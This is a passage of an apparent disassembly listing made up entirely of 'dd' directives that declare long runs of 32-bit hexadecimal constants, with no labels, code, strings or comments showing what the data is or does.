		dd 4068A4D2h, 0EA49C7F0h, 81BF0282h, 0C07C6BDBh, 854EC3E0h
		dd 67314D1Fh, 5C87007Fh, 3F41642Eh, 0AEE30136h,	688C7F07h
		dd 0DDDBC1EBh, 0F4E02BD2h, 89BA008Ah, 51439DCAh, 961CAC80h
		dd 7FC16982h, 0FD396648h, 74CFCC40h, 2AE4E5h, 4C209E9Ch
		dd 0FA9FA5D6h, 16E1103h, 0FA995A43h, 0DB24E942h, 0E280CC39h
		dd 9490CA27h, 97AB4809h, 785445B9h, 610F832Ah, 60741FD8h
		dd 0BC7254FBh, 605F5D55h, 846C187Ch, 666F99DBh,	8B1D4494h
		dd 0D444070Eh, 7BCD12B0h, 1C164C80h, 38AD09C8h,	0D780D4A1h
		dd 0A8D655FEh, 49DE8C03h, 0C82B361Fh, 0AEFC93h,	97736A1Ah
		dd 5F0927B7h, 0FB8389C0h, 0E7BEFA4h, 8B7139DBh,	80F00A87h
		dd 98F3E1C8h, 0A26BE612h, 52ED7480h, 713700FBh,	0BEAAD4E3h
		dd 1F05DD83h, 0DA7A9F1Eh, 51090F82h, 0AB2F0740h, 6872A211h
		dd 59D33540h, 12E1E706h, 53E94CD9h, 0A8BE04D2h,	22503037h
		dd 856B3911h, 0A129361Ch, 0FD0EC140h, 0D8D06FEh, 3CFF1D73h
		dd 0C0E0FC19h, 88A30B44h, 0F362384Ah, 0D06CA748h, 1DB61AE4h
		dd 3C00210Fh, 0C26FCD08h, 0EE36FC00h, 0C351CF31h, 837D06C7h
		dd 181446BEh, 0BB5BEA00h, 88D92E3Ah, 7E678DBh, 0DC2AF0E9h
		dd 0D73F4129h, 0CA7C608Fh, 9CF6DF0Fh, 98039ED2h, 0F8F93C82h
		dd 0A97374A4h, 58CCCD40h, 44B034h, 24135FC3h, 6F3904EDh
		dd 708CAC00h, 0CAA39154h, 981D021Fh, 9BEC27D2h,	0D79F9300h
		dd 9CE70014h, 0E6A28D01h, 0A9021756h, 7842DA2Ch, 1B348722h
		dd 791DB480h, 0A0373073h, 2F9E2D40h, 4F12A422h,	8C5800ECh
		dd 0C20CB0DCh, 540FF4B8h, 81971CEDh, 35C7C81h, 8CE5E0DEh
		dd 42180771h, 0C069808Bh, 2D8464CBh, 6E2D35E8h,	0B4DCA0D6h
		dd 0B44860B3h, 0EAC80A8h, 78411C3Eh, 0A7B78B0Ah, 0A381FCEBh
		dd 8DC0301Eh, 8C0CC09Ch, 480C318h, 73879C01h, 6CA45BA1h
		dd 3EF09850h, 48645C8Eh, 824B22Bh, 14448C9Ch, 365B442h
		dd 491B90A0h, 0C00A2E7h, 3369680Dh, 7AF91EBh, 0D5126D22h
		dd 40841724h, 955C236Ch, 0FE6F0C09h, 40400FBh, 0A3F72A94h
		dd 0D24F0FCh, 23E84Dh, 0ADA4E910h, 49CDF3A3h, 0B8A6AB30h
		dd 0A376AFDAh, 8ADBE1BCh, 5862B044h, 8C21154h, 84D049D6h
		dd 25FEB1Ch, 88A1CEC4h,	82480AAh, 0B5023757h, 0D2878B64h
		dd 0A2C00638h, 48B71B11h, 0B15BE11Dh, 933DB070h, 668FE56h
		dd 6D799820h, 0F60218F9h, 4FB9B06Eh, 545840EDh,	0D1071B5Bh
		dd 1FE8A89Fh, 949CCEEh,	0D2D70328h, 0E1D035A3h,	74229F6Dh
		dd 4A406824h, 0C4F42390h, 677F20CCh, 9FA244Fh, 0EC3E0E70h
		dd 0B169F92Ch, 6B7F5C00h, 211595BAh, 0FCE0D1D8h, 199EC50h
		dd 161D180Ch, 0DE30A586h, 8C8834B0h, 6941E86h, 0A709C41Ch
		dd 0FAB8B048h, 8230CC90h, 0E1885079h, 7C9250h, 0F81EA13Ah
		dd 792D480Bh, 0AB0057E2h, 9F02F2BAh, 484A8F10h,	1F806CE9h
		dd 138663E6h, 0A8E23A30h, 25B533h, 0C9E46279h, 3ED76BAEh
		dd 0CE5C88A0h, 52880860h, 699BE0A0h, 50244997h,	80D548CFh
		dd 41F41E93h, 797B6594h, 28F8C4A4h, 440284F8h, 41B51D1Eh
		dd 0C4504021h, 1D38E273h, 83B4A414h, 0E495ACF4h, 8708B802h
		dd 68B60B48h, 4946D88h,	0E270732Dh, 0E31700D0h,	9C1C1A93h
		dd 82529CA4h, 0D65B680Bh, 0BC48B0ACh, 0E244477Bh, 0E31E0C8Fh
		dd 0FA281127h, 1F147D84h, 1908A2BCh, 8EE6857h, 6AB21F3Bh
		dd 1378DF94h, 0E9C85822h, 3A68BC6Ch, 0E100D038h, 1BEA596Bh
		dd 1C1E7847h, 40578056h, 0EB139348h, 40517188h,	0C02010DCh
		dd 6B77303Ah, 7FAA551Ch, 660CB940h, 0F7B24F1Fh,	0ABA1B080h
		dd 9E3F4B13h, 60C89812h, 73266045h, 7041DC00h, 21DE1Ah
		dd 0D9943C80h, 8D0268BEh, 56E75C0Ch, 0F5A312Bh,	319F4E48h
		dd 0AD1EE481h, 4FAC20F4h, 13E87853h, 2200439Dh,	6F184955h
		dd 3513D30h, 0EFA4F9E0h, 96532FD0h, 54D912FCh, 7879F840h
		dd 0E87FBC14h, 3AA530A4h, 1CF826DAh, 0ED9A5100h, 0A824DB0Bh
		dd 28CD1F97h, 7E2F02F0h, 2060CA19h, 0D053DF12h,	1A7918B0h
		dd 288408B2h, 40B889ABh, 0A60E0F22h, 415A197Dh,	0A9E0138Bh
		dd 1F1EC862h, 6255017Ah, 806086EEh, 0F5D0BC19h,	0A009EF68h
		dd 5733BB0h, 0A52A46Ch
		dd 4B34828Dh, 8000F04Bh, 0AB9F2A04h, 501DF3A1h,	1F0FE88Eh
		dd 0F47139Ch, 75CCEE45h, 83006418h, 21A4EF9Bh, 293A01Ah
		dd 0C73819D0h, 8CA070A1h, 14D8305Ch, 10374934h,	7989B4D0h
		dd 0F1C128A7h, 6C193A14h, 32B60C0Ch, 0A7884530h, 9B510744h
		dd 90593921h, 8FB99E04h, 70267C01h, 6A68C430h, 1460D9D1h
		dd 0E4EA0050h, 1A71772Dh, 8000243Ah, 0F8D7B96Ch, 76ECBCA6h
		dd 0B41008Dh, 0DD42C48Eh, 3300A12Dh, 768CF1A7h,	34B507h
		dd 0A68D25C3h, 32EC8A18h, 4C93943Ch, 0B63BA1E0h, 1D128066h
		dd 0B52440E7h, 0D2A3AECAh, 3F0B289Bh, 529CB84Fh, 0A1A01244h
		dd 9F34082Fh, 830838A4h, 0DE4284EBh, 0C98C87BAh, 2404681Ah
		dd 0C233802Dh, 9F4C7F0Fh, 44152004h, 6B4CDF8Ah,	61998D20h
		dd 16E0CC47h, 509E5B69h, 49C014EAh, 0F440C822h,	0C349E21Ch
		dd 0C2A1DB69h, 2C44C2D5h, 20C4CC40h, 40541C26h,	0C6050E64h
		dd 0CF4C4DF0h, 0BF10CA29h, 3EE3F0BBh, 79321D32h, 0FC48BC19h
		dd 78989A3Bh, 351E7A12h, 808E3C00h, 1248585Dh, 911356h
		dd 57A50640h, 49F99B2Ch, 1003388h, 97564102h, 6BDC8788h
		dd 9BE47A8Eh, 121E0E74h, 9A3F6542h, 930028CEh, 5C3E074Eh
		dd 3E9E0809h, 44D90E47h, 6BD57A0Bh, 0C02D0A1h, 68328Ah
		dd 0A46FA356h, 0AA755568h, 8614C0BCh, 948B8DCh,	94A19327h
		dd 5A437420h, 1D0937E7h, 9122DEE9h, 71135824h, 2448B3EAh
		dd 45090A46h, 0B88FA9E9h, 24680C68h, 6E09F4Fh, 79C12E67h
		dd 0D8445092h, 0B58B02F3h, 0EC854062h, 0B9444C86h, 67581C18h
		dd 39737B51h, 1B3ECE50h, 801F3A01h, 44A4306Bh, 3E8B95Ch
		dd 9A5BA31Ah, 0A4B7A8EBh, 1B18C486h, 0C6C08869h, 0B9A4A49Dh
		dd 4A1F1880h, 64190C91h, 0A4A988E2h, 0F3A21301h, 7EE4A187h
		dd 4CF06C50h, 29EA67C4h, 0DC73E09Fh, 0DF4C71CDh, 0BC6B29A0h
		dd 4B6F5F00h, 1FA9E6F3h, 432E1973h, 39E0FCBAh, 18BC74A2h
		dd 0EC563Dh, 0E7D76179h, 1DF8126Bh, 7A1CAF24h, 0FC29CA2Fh
		dd 0E5F3E0A0h, 0D017DE7Eh, 3016DA2Dh, 726100EEh, 350AF060h
		dd 7EF46A02h, 8009B705h, 90AE6C74h, 14A8981Ah, 4050CD9Dh
		dd 94042Eh, 2CE49E5Fh, 9B4AAF9Fh, 45F89428h, 0FF8728Fh
		dd 729F8E4Ch, 0CA0B5007h, 0D7A08068h, 0B998F81Dh, 865C870Ah
		dd 0AB81C4ACh, 44E0718Eh, 98E611E4h, 0EC7530h, 677E884Dh
		dd 3B1457D8h, 642818B6h, 2F00FB42h, 1D909D9Ah, 2C92CE1Eh
		dd 74DD700h, 0EC8E571Ch, 0A4EA170Bh, 1BA0016Ch,	0D714A50Ah
		dd 1F1528E6h, 26A4A2C3h, 0B418B48Ch, 20EF9238h,	6F05470Bh
		dd 5E1B1ED9h, 40A901Fh,	5D14D0B2h, 9457C408h, 0F03B4930h
		dd 2D5F1E07h, 64C04091h, 0F18F9Ah, 8D0C4B32h, 74B9B46Bh
		dd 39EA8405h, 20206D19h, 1DC3859h, 0DBA218A4h, 716DF309h
		dd 4C9C281Ch, 959E021Ch, 0C0E6236Ch, 54CFECBDh,	491D80D1h
		dd 0B40AA891h, 34F886D7h, 6FFC9310h, 0D0CE37D4h, 0A1315EA0h
		dd 22076E3h, 435BA941h,	0F5A461EBh, 80D6C049h, 11ED73E8h
		dd 134F17E9h, 0BC145FE7h, 0C420454Ah, 0C088C76Eh, 1DD86B7Fh
		dd 0FF1298F4h, 104296A7h, 60CE043Bh, 0F05670h, 0A9989131h
		dd 0D6187083h, 67811F00h, 97F8035Ch, 15E8B0A6h,	0E4837F66h
		dd 20EED91Fh, 2EC4020Ah, 0D0A494C7h, 1C386818h,	92B900A1h
		dd 8BA9E72Bh, 14343879h, 82296ACh, 8D6C3064h, 0A7242898h
		dd 0F1800CEAh, 58E2D512h, 23CD05B6h, 387A9EEBh,	8B580B44h
		dd 9BE4A0D4h, 0B5490087h, 0B4F43114h, 850F8FAAh, 1A73A9Ch
		dd 8C22F396h, 80763890h, 42DCE36Eh, 0C4B113h, 60AC5B35h
		dd 0D0A80C41h, 6E04BCEBh, 0C1F3E43Ah, 431CC0E7h, 14ACA45Ch
		dd 9585CCDCh, 64B0686Eh, 5DA4D848h, 5BB51404h, 0A6A20AA4h
		dd 8D80B078h, 0C966E7Fh, 0A93F835h, 0F1A4F828h,	604B6408h
		dd 248BB864h, 80CC8471h, 0EB1EDC6Fh, 0BA24ED5Eh, 2205F46Eh
		dd 68D298C5h, 8014FAD5h, 49F018DEh, 8D04FCB7h, 0B22E5B5Fh
		dd 95BC84DCh, 58E1F602h, 0B4CF84A3h, 0D44A4918h, 0F6F90C31h
		dd 5FA70016h, 498BD39Ch, 8000A6E1h, 5C4744F1h, 78D80DABh
		dd 46A43AACh, 7EEA6103h, 60061F6Bh, 0EF842088h,	1A2A2768h
		dd 378B8001h, 3819C9A3h, 84B05260h, 0B20330EEh,	0A059C1F6h
		dd 2A08BD4h, 48E6F7F4h,	9A486244h, 64947CE0h, 908F185Fh
		dd 37EC922Ch, 0F111A09h, 35108081h, 334FF06h, 0DDD2C765h
		dd 18026452h, 211F2277h, 0E6C0705Ch, 2CCE2CEAh,	0EC52806Ch
		dd 89F6C0AEh, 90BE0430h, 78E28068h, 1978F7h, 24BD4F1Ch
		dd 9556E6B2h, 48902AFEh, 52EB014h, 94FCA1C0h, 1D785100h
		dd 4C65252Eh, 3619873Ah, 296097E0h, 585AEA15h, 6E2664FCh
		dd 729F8ADCh, 3AC08518h, 0CC3028B1h, 0B40CF0A8h, 0C0248724h
		dd 8D1EB80h, 61938Eh, 71936A9h,	0F910E4ACh, 0B1B46E18h
		dd 18298D8h, 93DE7930h,	2040E10Eh, 221973A0h, 0C1787815h
		dd 0C51B1F1h, 7A026AFDh, 0AC8CE490h, 4B458498h,	0A8C30069h
		dd 78D4E1FBh, 0F6C70A2Fh, 3FD0446Ah, 27D5250Bh,	0D1EEA448h
		dd 78694734h, 0DA9CD805h, 8DB0801h, 82212148h, 35D09182h
		dd 80D8F782h, 22E6C70Ch, 0E79587Dh, 1C5F139Ch, 0CCBE929h
		dd 0DC5C74A0h, 28BDDA0Fh, 0EA7881FBh, 4C202A4Fh, 59F66F47h
		dd 17FAEC81h, 93788F8Fh, 344152FEh, 917FEA73h, 0A2BC1880h
		dd 0D0E6FA0Bh, 0E37A6F3Eh, 18A61FF0h, 794D8670h, 0F100C003h
		dd 6540FF8h, 2441962h, 242D22B4h, 0A8DAA038h, 9F18B074h
		dd 0F211DC87h, 39B10025h, 0A3501B93h, 4F744E55h, 9C21DF60h
		dd 3AAB03Dh, 0E7198390h, 0CC1472CBh, 20C088DCh,	840407E5h
		dd 0C329FA15h, 0D1F8AD78h, 49409EFDh, 0B3EA15F3h, 0DE0CB058h
		dd 921848BEh, 0FDD79F02h, 8001A21Ah, 9E2DDFA8h,	0FF2A005Fh
		dd 8AE85374h, 7E0084C1h, 9B7034E0h, 699A31h, 0F685C555h
		dd 0D22130F2h, 0F4CCB309h, 34888060h, 1619EFCEh, 0AC45AC9Ah
		dd 872C3A7Bh, 0C2B761C4h, 0CEF29690h, 2DEF031Eh, 0B01D8048h
		dd 0F7F851E6h, 8311750Eh, 7C77A052h, 18ECA9CFh,	20F497A6h
		dd 74014E3Ch, 45D3EE4Bh, 8FE4CF90h, 0CA850036h,	60EF78DFh
		dd 880E250Ah, 408397F7h, 454BECA3h, 243E0003h, 3FBF3B3Dh
		dd 9900751Dh, 0EDA7A5C4h, 3D026ABh, 5D63B0CBh, 7AD89709h
		dd 60000E56h, 21836B59h, 394C714Ah, 0F804A647h,	0C2DF5206h
		dd 956002E9h, 8200132Fh, 57AE4817h, 5D0FD6h, 0DE932CFDh
		dd 0D97E32Bh, 0F32ADA0Fh, 8407D7Ah, 0E8BEBF8Ah,	408400AEh
		dd 0CC4C8905h, 54E4B8FFh, 0DF9DD800h, 7AEA57D7h, 0E24200DDh
		dd 4C38703Fh, 0D00494FDh, 78891F55h, 0C996A9C0h, 0D29C1CA3h
		dd 0D45803DFh, 2A0816Bh, 7BE647F9h, 0F741B100h,	127D3AAh
		dd 4A8C0045h, 5337EF5Bh, 0E20E0447h, 0E0BD60CDh, 13AC2EA1h
		dd 0B74500CCh, 0E5024B5Ch, 93062B2Fh, 35037963h, 46AE450h
		dd 24AB228h, 0EFE280B6h, 0B500542Fh, 7DB1442Eh,	3E57AFh
		dd 0F93CFDD4h, 0DD8C39A9h, 80899D3Dh, 6443CCEAh, 76C9D49Bh
		dd 242C00D9h, 6BCBC4FEh, 0C202B9EEh, 9856A0D3h,	790C800Ch
		dd 0E66A99h, 477A3FDh, 0DCC4A7Bh, 0CEA6A100h, 0C01A766Dh
		dd 6BEE0183h, 433DC941h, 880503Ah, 5E3F9D35h, 0B9DD3095h
		dd 33D8E6F6h, 37387B8Ah, 3801CE4h, 645D4AFCh, 1D9600F6h
		dd 91D23667h, 150E016Eh, 60EF6F3Eh, 63D523C9h, 0ADE10F2Ch
		dd 0A9C0CC88h, 8D2CE33h
		dd 29038190h, 8B85CA03h, 288E6Bh, 0DC74B4C5h, 27CB2FD9h
		dd 818F2A39h, 139E1A77h, 9BD08017h, 1C57576h, 0EF08EBD9h
		dd 8C49296Eh, 49758840h, 0F9A20068h, 0D604B2D7h, 0DA00E73Ah
		dd 0F45C771Bh, 58BB27h,	0E166F035h, 72A7E389h, 0F5E26A06h
		dd 0FB1612Dh, 0A88E5163h, 956D1C7h, 2E9F9F80h, 24487CF4h
		dd 62037F11h, 871521AEh, 0B514E05Bh, 0CDA80312h, 399DE146h
		dd 300072C3h, 89FB0FF9h, 0E6756Ah, 0A08F5A52h, 6E657ED1h
		dd 0ADF2351Fh, 30AA2C87h, 0B1CA0D20h, 0BBF3002Dh, 1F112306h
		dd 540CAC57h, 0F88DBD0Eh, 0D239333Eh, 7CFA6AA8h, 40080AFh
		dd 1AE2CD10h, 4735610Ch, 0E02358A8h, 0BB383CC9h, 0CDB99D00h
		dd 4250ECEAh, 888EBF00h, 0F5CA0F7Bh, 0C0D17867h, 0A8232D60h
		dd 0BB1D6502h, 5880E12Fh, 14D3B25Dh, 0C740016h,	0C51B45ECh
		dd 560421F4h, 0C1AD1180h, 0E3C644C7h, 0C0781F1Eh, 10B8000Bh
		dd 0EA2D4DB0h, 0AEEB5900h, 45FF8ACAh, 4F0331FEh, 1B9ED29h
		dd 3CC0D2F8h, 0E1750098h, 0C9D97390h, 790016C4h, 43B0E4ABh
		dd 2B6E92h, 72B96DEAh, 0AEC551Bh, 7FD1BD03h, 984E83B4h
		dd 1C0D2A41h, 0C0DAA3B2h, 0F0C79DFCh, 5B005745h, 0F9B8278Ah
		dd 2017C02h, 0EB42F228h, 3F43BC5Eh, 0A5837000h,	93ADA6C2h
		dd 55320038h, 708BCCA2h, 260E0522h, 41F3DDAAh, 0D0DCF1A0h
		dd 70531AD8h, 0E36A007Bh, 0F7F0CA19h, 1E01C1B3h, 0B628CE88h
		dd 98401423h, 1132BC3h,	63DBEAE9h, 0D4A3B103h, 123F4A8Ah
		dd 0AF928648h, 108C98h,	0BC18B6CCh, 5D240D17h, 26026FF6h
		dd 85EA7DE9h, 5C4AC048h, 424E0106h, 396CE7BEh, 59BF70F2h
		dd 1E021001h, 0B477952h, 0FC9AE0h, 16CBEF67h, 0EA860CCAh
		dd 3BBED561h, 708376BAh, 81567BA2h, 9FE6EF88h, 0F1984300h
		dd 0C8CE203Ah, 5F7C004Ch, 6A4F0DBAh, 0DF07E25Ah, 9124B872h
		dd 879EBE92h, 31509C96h, 39884DE9h, 0F48303F3h,	0D7CFFDCEh
		dd 0D6F0ABE8h, 8195B03Ch, 0C62AB834h, 91C8D07Dh, 78F400EEh
		dd 694EFA3Dh, 0C0129F6Ah, 34004B30h, 0D8041D33h, 0F56128CAh
		dd 0F850084h, 6C25029Fh, 4E00AC40h, 26274A3Bh, 0B86ED52Eh
		dd 6C800B3h, 0A07B2269h, 68C0628Fh, 0DEAEB1D6h,	0CB548EFh
		dd 8696F300h, 41366D6Bh, 0D4003AE2h, 772B1262h,	3D2E9860h
		dd 30F9FF09h, 0C2560327h, 59076315h, 0D0FADAE1h, 0BDEDAE10h
		dd 602EFC77h, 6FCC6AA7h, 2E98D39Bh, 14474302h, 0A0C92C04h
		dd 0D4DD30ACh, 0BF290034h, 20430BB9h, 100D811h,	61FC489Dh
		dd 4BB1344h, 0DC99EBE6h, 5253C0C2h, 600E96EEh, 0A6FC8D12h
		dd 0FE11EA98h, 0F5900DFh, 55DC80E2h, 0CF12897Eh, 0C801C3F9h
		dd 2E4688BAh, 0D93CFCh,	0BD90234Dh, 5EB00D91h, 3AEA3101h
		dd 0FD699CF3h, 5B70B7CDh, 8190030h, 0E9BCC804h,	86036A77h
		dd 0EC38AC72h, 5F7888AEh, 26CE7212h, 7C11A6h, 0B415D629h
		dd 43B3CD7h, 0AB060072h, 0CDC23F48h, 89D2008Dh,	9AACA5C9h
		dd 93E67054h, 79F7F0C0h, 397BC64h, 357B5A55h, 0B803C6A2h
		dd 182834Ch, 0CDD7A89Ah, 1E430012h, 74B76930h, 8E004219h
		dd 75F3198h, 0D6CF39h, 76FEE251h, 0B984EF2Ah, 5B7CEA00h
		dd 5F20ED64h, 152E0006h, 0E076C27Bh, 57001246h,	3FDFFD73h
		dd 9DE801D7h, 721F5FD8h, 0A9C01F2Dh, 507DFB08h,	443C2459h
		dd 9D760044h, 632F20BCh, 66E33Eh, 3EC33AB5h, 0B942338h
		dd 61E44833h, 8907D980h, 1C0F1701h, 2E9D569Ah, 0E58D00DDh
		dd 340AC6Eh, 6D1A0393h,	0E7889AB1h, 9900C660h, 0EA16F5AAh
		dd 1361ACC2h, 5DE27Bh, 6AB3451Ch, 59744C82h, 50022B24h
		dd 704B9C80h, 0B664Fh, 8865DCE6h, 8FAD20E1h, 0B6407109h
		dd 0E0102119h, 4BD835ABh, 6E7C300Fh, 13AC528h, 18663Fh
		dd 8D42A755h, 0F5DB796h, 0CF74108Eh, 2E92BFC0h,	441E6050h
		dd 0F5C07733h, 0ACDBB535h, 81280031h, 0CD1B212Dh, 0E5004AD7h
		dd 44534C1Ch, 7EDF3AD0h, 0B14D3C7Dh, 0FBDB121Eh, 8034F800h
		dd 0A7C22553h, 33BCDD07h, 73D2937Ch, 0D82CC3F6h, 5BB344h
		dd 36D2DB0Fh, 65BA8443h, 0DA005CE4h, 7DF0D7A1h,	946B9Fh
		dd 4429209Bh, 12CB083Ch, 0E2F50600h, 9371A5B6h,	17B4044Bh
		dd 80DB83F4h, 0EFC269C0h, 0A8184Dh, 9167502h, 904797h
		dd 74DEBD64h, 0F05BC6FEh, 32A4BC05h, 0BC786115h, 50D70071h
		dd 3129435Eh, 0E100BF2Bh, 1A32366h, 41E590h, 56FAA7FBh
		dd 0F808EE46h, 0F45E4303h, 0D0F3EFD8h, 0FE0A59h, 2C1A9963h
		dd 8FA24578h, 74F18C01h, 953DF6C9h, 0A40860h, 1FDC178Dh
		dd 23E9EB20h, 0BD4F893Dh, 0A5CA8012h, 0B399AD1Ah, 0CE6639F5h
		dd 0DED9FA80h, 0EF85106Fh, 80F9873Bh, 6D0D5A24h, 0E957164h
		dd 0F3A316DAh, 4C300072h, 13FE18B5h, 0A88250C0h, 0EE94DCh
		dd 0D2FD6783h, 85AF8CF4h, 656019FCh, 6DEB27E0h,	633F317Eh
		dd 0F14FC310h, 1021E867h, 0FC36B503h, 0F8C2B702h, 76AA191Ah
		dd 94F80071h, 0D791F295h, 3EF42B67h, 16FB2712h,	88015512h
		dd 606CC883h, 2C328F0h,	0EC7FDB0Dh, 9140F909h, 5DF8E512h
		dd 9D05F300h, 4089B8BBh, 2CEECBh, 0A54A7C3Fh, 11478EFh
		dd 0D497D26h, 0F431A90Ch, 86E50379h, 95BA2136h,	9820AAA0h
		dd 0CA3B5B01h, 3F5E2BC1h, 0F43864h, 3A229555h, 0D372C094h
		dd 49EABF0Bh, 9744002Ah, 0EEAA8Ch, 0F610E580h, 0C2963BC9h
		dd 20D0BC24h, 18335200h, 0B097C609h, 0CD770674h, 445E9335h
		dd 7FCC61C1h, 0F8E36B99h, 4C0A4D91h, 0CE007CAFh, 0CD25B963h
		dd 52E546B6h, 71047E18h, 41616E07h, 0FC05BE76h,	0DC073E73h
		dd 4892219h, 1460EE63h,	20A94628h, 0D25F7909h, 99A39201h
		dd 0B960E824h, 63BBA213h, 0DF007AF8h, 0C6B7BE73h, 6D001DFDh
		dd 475DAE8Ch, 0C35FBA32h, 775AF339h, 658970D8h,	80010E3Bh
		dd 55F1B011h, 0EE5EC0D7h, 3B073C53h, 0B34D9280h, 44CC51B7h
		dd 0A971F4B8h, 7CE4748h, 69709782h, 2E178C40h, 64B20091h
		dd 0E7C46222h, 0D37CEB59h, 48CD4718h, 3C3D65C1h, 0F3835FE9h
		dd 20C6E8BAh, 21610832h, 293BE00Fh, 0B89648E4h,	0D866DD03h
		dd 0FDC02F4Dh, 5F00BF2Dh, 8A6F8E43h, 7F66D98h, 4E219AF1h
		dd 8DFDF0C8h, 0E904CFE4h, 5F82C132h, 61CEF8C0h,	0ECA777Ah
		dd 0A5DF4EBh, 0DDC13100h, 173E526Bh, 84474A62h,	0F6735E25h
		dd 0CD600C4Ah, 52181ABAh, 1DC85800h, 11EF8B62h,	0F6F0A7h
		dd 80071CF8h, 0B536CB9Eh, 32AD7A39h, 3075F962h,	5179E933h
		dd 30402346h, 0E9870105h, 25C91050h, 6E9180F7h,	1D0A1A9Dh
		dd 728B4016h, 0FFDF51C1h, 18DC2496h, 0B8800B12h, 855DC6E0h
		dd 880097E2h, 99C0064Ch, 0D2330067h, 6A94EB8Ah,	130079C5h
		dd 82FDFA5Ch, 399F1Dh, 0CEDC47BCh, 0D4A2A5E4h, 0C175C600h
		dd 31BEBD54h, 0A0610132h, 724BC5CCh, 7FC0FB81h,	0D8FA7EBBh
		dd 13C15C00h, 8A30A065h, 185B00EDh, 9C9EE479h, 0FD096817h
		dd 80BDA952h, 0B43A4E2Fh, 6516091Ah, 4803DAE4h,	0EEB0B892h
		dd 6800D9F0h, 9EABB3CAh, 3425D2h, 582237E2h, 1AC0CCE5h
		dd 89C9D30h, 6BB916h, 78F581A2h, 0C5E9ED40h, 2E31387Eh
		dd 0C65B61A3h, 269993h,	3B7A6F5Dh, 76073E56h, 0E6E99F84h
		dd 34455320h, 54600013h, 1C7D5F64h, 0D3A00B8Fh,	7F00A367h
		dd 17DE87BEh, 7CF228CEh, 398DF460h, 0FE9CE264h,	192B581Eh
		dd 9A011057h, 2FF424DBh, 0F301CA66h, 5065DC72h,	0F6625F02h
		dd 0E0ED8D53h, 0A94D51Eh
		dd 0B061A47Fh, 131A00B1h, 8FC0993Fh, 0DB271700h, 0AE76077Ah
		dd 0BEBB4C7Dh, 680E5201h, 0CCE6AF1Dh, 6F059F19h, 90495335h
		dd 0A156B00Fh, 452B8DB1h, 0FE54F3E4h, 0C71400A3h, 0F530ACA8h
		dd 7100F1A6h, 289EA49Bh, 0F1A7619h, 14AD6FFDh, 0FEC1A0EEh
		dd 0E8782EBCh, 1C00456Bh, 5F5BE3E9h, 39BCF37h, 952B017Eh
		dd 68009AA5h, 11B12678h, 1BAD6Ah, 65FAA634h, 3237E035h
		dd 67BED101h, 0B814B4D5h, 1C707080h, 1561231Dh,	3C0CF80h
		dd 0E18B45D1h, 0C79F04h, 4638F834h, 78000875h, 31888DB5h
		dd 3A5C3A8Fh, 9A48307Ah, 27B1FC06h, 0B00EF1ABh,	600C92D6h
		dd 0D4B6711Bh, 95180117h, 0D9AFD2BAh, 2011F806h, 69330500h
		dd 2B3417Fh, 6F791728h,	1B72000Dh, 58F91E27h, 699AD9C5h
		dd 98A4001h, 0F801E6C3h, 20BECBh, 0B2D21B0Ch, 0EA5539F4h
		dd 0F3D50050h, 59EB631Ch, 2831D710h, 832EA051h,	0E0C123DCh
		dd 20180072h, 0DEBB6E24h, 0A5074D59h, 3082192h,	0BA03080h
		dd 0A4700C3h, 0EAD9F9Eh, 2E7C3640h, 6A7C1FE6h, 0C045D0F5h
		dd 0B3006778h, 0F7B9FB05h, 764E7BAh, 74AC0C7Eh,	212F467Fh
		dd 0F091B500h, 82A18C40h, 0BBC0C43h, 0CD605AE2h, 361E7C79h
		dd 1B109028h, 7918323Eh, 9BAF780Dh, 4D1F2E00h, 0B527AB08h
		dd 1B7805h, 0B829AD93h,	334B4F2Dh, 7A093663h, 73203F04h
		dd 19DA2900h, 55D31A2Dh, 43FBBA00h, 9B92A3D9h, 75662EB0h
		dd 0C1D1D9Fh, 0B359B14Ah, 0B9C1C273h, 94E3CCCBh, 73CDC70h
		dd 46FAD018h, 0B30C5F37h, 0E23A8840h, 1834C049h, 18898F38h
		dd 6570E1B6h, 7CAF80h, 2EA91C81h, 68342F2Ch, 0DDC080h
		dd 60DC82Dh, 6242303Dh,	0FFADAA0Fh, 0E9DCA0B7h,	0A2A9E2h
		dd 7B46E77h, 82E37A10h,	805BE139h, 1C84CDE8h, 1A36BAh
		dd 98927123h, 2526D0ADh, 0FCA70C03h, 0C8C73750h, 3A80A434h
		dd 7D7836D2h, 29EA68h, 84B58BCDh, 0AF2C31DAh, 0FA000679h
		dd 9DF6E680h, 62DC6594h, 8711291Ch, 0DE14A121h,	11F7F201h
		dd 8D111D1Eh, 63C11286h, 0EE2811CCh, 4FA111FBh,	0DB85A903h
		dd 7088E231h, 141CFDF6h, 4540FA7Ah, 71D0980Ah, 9F68001Ah
		dd 0B603C35Fh, 0C20C3754h, 0F4C7588Ch, 2D3000A9h, 13E28029h
		dd 0D7F04927h, 0CC10FD00h, 37A867EFh, 927E0F06h, 4620409Ah
		dd 97851EDDh, 0F6A50D00h, 144A5CE0h, 37FB0031h,	0D5FF7AD4h
		dd 4C00C4C0h, 0CB0A32DEh, 34102C9h, 0D603ABA0h,	67C82075h
		dd 46127F3h, 0B511D910h, 7BFE530h, 870B53FCh, 248D304Dh
		dd 3700F3A6h, 0E9584FA4h, 0AC625Bh, 66F97936h, 765CA0E3h
		dd 0E404B00h, 0D08B87BCh, 8F5B0675h, 112BD89Dh,	1F963000h
		dd 203543Eh, 0BB8414E2h, 3A00E8B9h, 70F9D87Ch, 0D312F325h
		dd 250049FEh, 0D6EA21BBh, 3F080158h, 17956E1Eh,	8516CCBFh
		dd 320EF70Eh, 0C0994EA5h, 0ACF0E291h, 69590068h, 0D71281DEh
		dd 7A00ABBAh, 0BE95292Fh, 0BC2C0CEh, 0ADF99335h, 0EAFA7081h
		dd 0E1BDE801h, 0A8662100h, 19D4C7F6h, 53300E9h,	553F49A1h
		dd 0CD38D5F7h, 1B1E04EAh, 74806494h, 0E2110473h, 4FF40098h
		dd 4CFEC875h, 0D2000979h, 0E670AD84h, 6172C5h, 4FDBCB9Ch
		dd 0CF2C0C37h, 192AB300h, 0A53A50A8h, 48A0095h,	0B96CE5B4h
		dd 0C303F8A1h, 6A49DFD0h, 392AB0DDh, 29C60090h,	220FA214h
		dd 800FB3DBh, 0A0402D55h, 97240E9Ah, 0D5350011h, 5019B66h
		dd 0CF00997Ch, 0E3A8BA7Fh, 5119CAh, 9C1B31C4h, 0B66ABFE5h
		dd 5E00ABB0h, 874BF0D3h, 1977296h, 0B244F74h, 2043474Eh
		dd 3B72E234h, 4DAE5100h, 0EF7F49F3h, 19718Fh, 0DC4997Eh
		dd 11B98076h, 48685300h, 0BF914D97h, 642B396Dh,	7008EA4h
